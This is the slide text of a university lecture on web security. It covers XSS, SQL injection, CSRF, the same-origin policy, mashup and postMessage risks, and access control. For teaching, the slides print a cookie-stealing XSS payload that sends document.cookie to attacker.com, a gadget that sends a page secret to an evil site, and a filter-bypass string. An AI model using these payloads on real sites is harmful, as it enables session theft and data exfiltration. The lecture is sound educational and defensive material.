web programming and security lecture 2 tamara rezk

Web Programming and Security

Lecture 2

Tamara Rezk

Security problems

Confidentiality violation

Integrity violation

Availability violation

Attacks, summary

• Phishing attacks (eg MySpace, 2006)

Attacks, summary

• Phishing attacks (eg MySpace, 2006)• Session integrity violation (eg Dansie shopping cart, 2006)

Attacks, summary

• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)

Prevention

• Server side:– add a secret that the attacker cannot guess– re-authenticate for critical operations

• User side:– logging off one site before using others

Attacks, summary

• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)• Navigation policy based attacks (eg Guninski/Citibank, 1999)

Attacks, classification?

• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)• Navigation policy based attacks (eg Guninski/Citibank, 1999)

Lessons Learned

Do not trust the client on:

• Maintaining integrity of sessions state

• Running client code

• Providing valid input

Lessons Learned

Do not trust the client on:

Providing valid inputpublic class Greeting extends HttpServlet{

public void doGet{HttpServletRequest req, HttpServletResponse res)

throws ServletException, IOException{

res.setContentType(“text/html”);

PrinterWriter out = res.getWriter();

String name = req.getParameter(“name”);

out.println(“<HTML>\n<BODY>\n”);

out.printl(“Greeting from “+ name + “\n”);

out.println(“</BODY>\n</HTML>\n”);

} }

Lessons Learned

Do not trust the client

http://host/Greeting?name=<script> …</script>

Security in Web Applications

Main source of vulnerabilities

From Cenzic Web Security Trends Report Q1-Q2-2010

• Cross-site scripting

• Information leakage

• SQL Injection

Multitier nature cause problems

12

Code injection

• Data-tier code injection (SQL)

• Client-tier code injection (Javascript)

• Server-tier code injection

SQL Injection

Query = "SELECT score FROM Student where name = ‘" + input

14

SQL Code Injection Attack, Microsoft 2008

CardSystems out of business, 2005 (SQL Code injection attack)

263000numbers stolen!

s (i1, … , in) c

s server program

i1, … , in untrusted input (provided by client)

c client code: HTML document with Javascript nodes

Dynamic Code Generation

let’s see a guestbook example

Attack to the guestbook

<script> alert(“attack!”);</script>

Embedding Javascript

<body> ... <script type="text/javascript" src=“myCode.js" />

<script type="text/javascript"> //<![CDATA[ alert("Page is loading"); //]]> </script>

<p onclick="alert('I told you not to click on me!');"> Please do not click on this text.</p> ...</body>

External Javascript File

Inline Code

Event Handler

Let’s see some other ways to inject code

Code Injection, other example

• Untrusted client input:

<script>window.location = “http://attacker.com?cookie=” + document.cookie; </script>

• Goal: inject the code to a benign user;

• Consequence: – Cookie stolen by attacker.com;– Possible sensitive private information;

Code Injection & XSS - Example

DatabaseGuestbook serverBenign user

Malicious user Attacker.com

Add entry:<script>window.location = “http://attacker.com?cookie=” + document.cookie; </script>


Get all entries


Secret cookies

Existing Server-side Prevention

Escaping FilteringEscaping Filtering

Vulnerable code

Patchedcode

TaintAnalysis

TaintAnalysis

String Analysis

String Analysis

Instruction Randomization

Instruction Randomization

Programmer Attention

Required!!

Randomizedcode

WebSSARI, Huang et al. [2004]Pixy, Jovanovic et al. [2006]Xie and Aiken [2006]…

Mimamide [2005]Balzarotti [2008]Wasermann et al. [2008]…

Example:preg_replace

("script", "",input)

“<scrscriptipt>” “<script>”

Release

……

23

Boyd et al. [2004]

HTML parser and browser quirks

• Standard HTML Parser– Obtain target syntax tree– No ill-formed result produced

• Various way of triggering JS engine(BEEP [Jim et al. 2007]– Event listener: (<DIV> :onclick "alert(msg)")– Hyperlink: (<A> :href "javascript:alert(msg)")– Dynamic code evaluation: eval, document.write

• Solution: turning off all these features in Hop– Advantage of multitier language

NOT identified by syntax difference

24

Code Injection Attack vectors

Web 2.0 Applications

27

2004: AJAX (Asynchronous Javascript and XML) becomes popular,

social sites emerge

Technologies: Web Browser, Web Server,HTTP , HTMLCGI: Common Gateway InterfaceAJAX : Javascript, CSS, XML, DOM, XMLHttpRequest

request a service

partial reloading of the webpage (iframe)

XMLHttpRequest object for asynchronous communication

http://en.wikipedia.org/wiki/XMLHttpRequest

Mashups: HousingMaps, 2005

Web Mashup

• Web application (client side):

• Integrating third-party gadget;

• Integrator partially sharing information to gadget;

• Example: Housingmap.com

Google Maps Gadget Integrator’sHousing Data

Great way to use your data!

29

Le Monde is a mashup

Code of Le Monde

<iframe src="http://www.youtube.com/embed/W8WP2SjsZw4?rel=0" width="520" height="294"frameborder="0"></iframe>

ALL OR NOTHING TRUST MODEL IN THE BROWSER

The Same Origin Policy

Programming Model – Dilemma

• Full sharing (JS Env.)• Running as integrator• Gadget trusted

• Full isolation (by SOP)• Running as gadget• Limited sharing

– Frame identifier– PostMessage

Using <script> tag Using <iframe> frame



X

33

The same origin policy (SOP)

• The <iframe> tag: what about Javascript behaviour?

browser

integrator’s code

<iframe src= http://b.com/gadget.js >

…</iframe>

HEAP

global object

global object

• The <script> tag permits to treat code as code from the same origin


integrator’s code

<script src=http://b.com/gadget.js>

browser

servera.com

serverb.com


• The <script> tag: what about Javascript behaviour?

browser

integrator’s code

<script src=http://b.com/gadget.js

>

An evil gadget

integrator.html<script src = “http://attacker.com/gadget.js”> </script><div id=secret>42</div></h1>

gadget.js<script>secret=document.getElementById("secret").innerHTML;setTimeout('delayer()', 5000)delayer = function(){window.location="EvilSite.php?secret="+secret;}</script>

Important JavaScript detail:

o.f is treated as o["f"]

Javascript

Thanks Shriram Krishnamurthi for this slide

lookup =function(o, fd) {

if (fd === "XHR") {return "unsafe!"; }

else {return o[fd]; } }

40

If fd is not a string, JavaScript invokes the .toString method to convert the value to a string

Is this function safe?

badObj ={toString:

function () {return "XHR"}}

lookup(window, badObj) window[badObj] window[{toString: …}] Window[{toS…: …}.toS… ()] window[(function () …) ()] window["XHR"]

…in fact,lookup

isunsafe!

41

More evals: e.g., setTimeout:

42

function f() { alert('hello'); }

setTimeout(f, 1000);

var s = "alert('hello') ";

setTimeout(s, 1000);

Any JavaScript string!

Let’s try some more code with setTimeout

What happens now?

<script src=attacker.js></script></head><body><script>function fac(x) { if (x <= 1) { return 1; } return x*fac(x-1);}r = fac(4);s = "alert("+r+")"setTimeout(s, 100)</script>

Anything Else?

47

• Wrap DOM nodes and callbacks• Don’t hand references to DOM nodes to the wrong functions• Avoid other conditionally unsafe calls• Be aware of implicit method calls in JavaScript’s semantics• Simulate private fields (JavaScript provides none)• Disallow arbitrary traversal of the object graph• Avoid leaking the global object

Make sure all invariants hold over 50+ entry points

Thank you Shrirma Krishnamurthi for all the recommendations!Check AdSafety


• The <iframe> tag: what about Javascript behaviour?

browser

integrator’s code

<iframe src= http://b.com/gadget.js >

…</iframe>

HEAP

global object

global object

Frame Communication

Fragment Identifier Messaging

• Send information by navigating a frame– http://gadget.com/#hello

• Navigating to fragment doesn’t reload frame– No network traffic, but frame can read its fragment

• Not a secure channel– Confidentiality– Integrity– Authentication

An attack to the Elysee?

\

http://www.elysee.fr/president/accueil.1.html?id=1327062581707&msg=Sotp%20S.O.P.A%20:)%20%E2%99%AB%E2%99%AB

http://www.elysee.fr/president/accueil.1.html?id=1327077505069&msg=Anonymous

http://www.elysee.fr/president/accueil.1.html?id=1327077699951&msg=We%20Are%20Legion!

An attack to the Elysee?

\

http://www.elysee.fr/president/accueil.1.html?id=1327062581707&msg=Sotp%20S.O.P.A%20:)%20%E2%99%AB%E2%99%AB

http://www.elysee.fr/president/accueil.1.html?id=1327077505069&msg=Anonymous

http://www.elysee.fr/president/accueil.1.html?id=1327077699951&msg=We%20Are%20Legion!

Let’s see a video

HTML 5

• Cross-origin client side communications

• Postmessage channel between frames

• Child policy

postMessage

• New API for inter-frame communication

• Supported in latest betas of many browsers

• Not a secure channel– Confidentiality– Integrity– Authentication

Reply Attack

Fix: Improve the API (Standford)

• Let the sending specify the recipient– frame[0].postMessage(“Hello”, “http://gadget.com”)– Can omit argument if confidentiality not required

• Adoption– Firefox 3– Internet Explorer 8– Safari 3.1

see Securing Frame Communication in Browsers

Security considerations postmessage

• Do not configure target origin to “*”

• Sensitive data can be leaked to unknown widgets

• Always check for sender’s origin

• Always validate data before use

• Do not consume data directly with eval() or innerHTML

Basic definitions of securityConfidential information is stored in, or communicated through “objects” protected by access rights, typically for reading, writing, and executing.

• Confidentiality : to prevent unauthorized disclosure of data we should implement:– access control– secure information flow – adequate cryptography– secure protocols

(to name a few)

Access Control

“Subjects” = programs (threads) or users, with security clearances (read/write/execute).

“Objects” = where information is stored. For instance memory locations, files, entries in a database, services, communication channels … with access rights.

Access control = the operations performed by the “subjects” over the “objects” are checked to have the appropriate clearance.

Access Control (for integrity)

A simple example in hop: A Guest Book Application

Objects = “services”

Subjects = “users calling the services” (authentication)

Access Policy = “which user can call which service”

Services Users

addentry anonymous

addentry, delete-all-entries admin

Access Control (for confidentiality)

A simple example in hop: A Broker Application

Objects = “services” showStockInfo

Subjects = “users calling the services” (authentication)

Access Policy = “No user should learn anything about stocks of other users” (each user can see only his/her confidential information on stocks)

Access control

• In Hop: wizard.hop

AUTHENTICATION PROTOCOLS

Http authentication is not really secure!!

Let’s play attacker again on an example with

“Tamper Data” and a Base64 Decoder to obtain

the password of the admin user.

SSL/TLS AUTHENTICATION

INFORMATION FLOW IN THE PROGRAM

Broker Application

(define (isUser t a) (string=? t (car a)))

(define-service (show-all-entry) … (map show-entry (filter (lambda (a) (isUser username a )) broker-private-information)))

(define-service (broker) (<HTML> (<BODY>… (<BUTTON> :onclick ~(with-hop ($show-all-entry) …)

"Share holder login“)…)))

Broker Application

(define (isUser1 t a) (string-contains t (car a)))

(define-service (show-all-entry) … (map show-entry (filter (lambda (a) (isUser1 username a )) broker-private-information)))

(define-service (broker) (<HTML> (<BODY>… (<BUTTON> :onclick ~(with-hop ($show-all-entry) …)

"Share holder login“)…)))

Availability security problems

• A service or resource is made unvailable



Common attack: DOS or Distributed DOS (DDOS)



Common attack: DOS or Distributed DOS (DDOS)

How to prevent it?

Attacks, summary

• Phishing attacks (eg MySpace, 2006)• Session integrity attacks (eg Dansie shopping cart, 2006)• Cross site request forgery attacks (eg Gmail, 2007)• Navigation policy based attacks (eg Guninski/Citibank, 1999)• Code injection attacks (eg Microsoft, 2008)• XSS attacks • Mashup based attacks• http authentication attacks• DOS attacks (Captchas)

Context – Multi-tier Language

• Unified Language• Code split to different

tiers• Example:

– LINKS [Cooper et al. 2005]

– Swift [Chong et al. 2007]

– Ur [Chlipala 2010]

– HOP [Serrano et al. 2006]

• This course focus: HOP

73

Multi-tier compilerMulti-tier compiler

Hop compilation

74

ServerBytecode

ServerBytecode

ServerBytecode

ServerBytecode

HTML

CSS

JS

Client code

compiler

Client code

compiler

HTTP

Invoke

Access URLs

Server code

compiler

Server code

compiler

Generate

Code InjectionPrevention

Code InjectionPrevention

MashicCompilerMashicCompiler

URL

URL

URL

URL

web programming and security lecture 2 tamara rezk

Documents